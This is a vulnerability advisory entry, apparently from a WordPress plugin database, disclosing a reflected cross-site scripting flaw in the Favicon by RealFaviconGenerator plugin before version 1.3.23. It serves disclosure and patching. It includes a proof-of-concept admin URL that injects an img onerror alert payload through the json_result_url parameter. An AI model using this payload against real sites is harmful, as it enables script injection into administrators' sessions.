WordPress Plugin Vulnerabilities
Favicon by RealFaviconGenerator < 1.3.23 - Reflected Cross-Site Scripting
Description
The plugin does not properly sanitise and escape the json_result_url parameter before outputting it back in the Favicon admin dashboard, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/themes.php?page=favicon-by-realfavicongenerator%2Fadmin%2Fclass-favicon-by-realfavicongenerator-admin.phpfavicon_appearance_menu&json_result_url=.example.com%3C%2Fscript%3E%3Cimg%2Fsrc%2Fonerror%3Dalert%28/XSS/%29+%2F%2F
Affects Plugins
Fixed in version 1.3.23
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-03-21 (about 10 months ago)
Added
2022-03-21 (about 10 months ago)
Last Updated
2022-04-10 (about 10 months ago)